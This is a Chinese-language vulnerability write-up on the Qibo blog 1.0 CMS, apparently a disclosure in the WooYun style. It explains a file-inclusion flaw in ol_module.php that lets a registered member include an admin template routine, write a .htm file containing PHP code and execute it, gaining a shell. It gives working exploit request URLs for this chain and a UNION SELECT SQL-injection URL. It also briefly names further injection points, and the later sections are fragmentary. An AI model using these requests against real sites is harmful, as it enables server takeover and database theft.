http://down.qibosoft.com/down.php?v=blog1.0 下载地址。
1:GETSHELL
需要注册一个会员
在blog/require/ajax/ol_module.php 中
看到这段代码 $moduleid 因为伪全局是可以控制的 且没过滤。
但是因为qibo全局有转义 所以肯定是截断不了的。
但是因为qibo的特殊性 在qibo的后台文件当中
function_exists('html') OR exit('ERR');
所以直接访问是不行的。
是这样判断的 所以我们就算不能截断 我们可以直接把后台的文件包含进来 然后进而操作后台。
所以qibo在操作包含的文件中都用正则来过滤了, 却遗漏了这里。
所以我们直接在后台找一个能GETSHELL的文件 然后包含进来 我们就可以直接操作后台了。
再来找能在后台GETSHELL的点
在后台中看到模版
hack/template/admin.php中
限制了只能为.htm 和 .html结尾的。 然后就直接把文件写了出来。
不怕不怕。
再看到blog\require\ajax\edit_sort.php
这里我们直接把我们写的htm 返回回来 然后直接包含 又执行了代码
在登录会员的情况下
1:
/blog/ajax.php?inc=ol_module&step=2&step=2&moduleid=../../../../hack/template/admin&action=maketpl&Apower[template_list]=1&postdb[filepath]=template/yu.htm&postdb[code]=<?php phpinfo();?>
2:blog/ajax.php?inc=edit_sort&job=../../../../template/yu
0x02 注入
do/jf.php
WooYun: 齐博地方门户鸡肋文件包含造成的高危SQL注入
这个参考师傅大屌的 就行了 就不多说啦。
blog/ajax.php?inc=ol_module&step=2&moduleid=../../../../do/js&&id=514125&webdb[web_open]=1&webdb[cache_time_js]=-1&pre=qb_label%20where%20lid=-1%20UNION%20SELECT%201,2,3,4,5,6,0,user%28%29,9,10,11,12,13,14,15,16,17,18,19%23
0x03
在blog/require/ajax/edit_sort.php中
0x04 blog\member\update_sort.php
type未初始化 可控 导致了注入。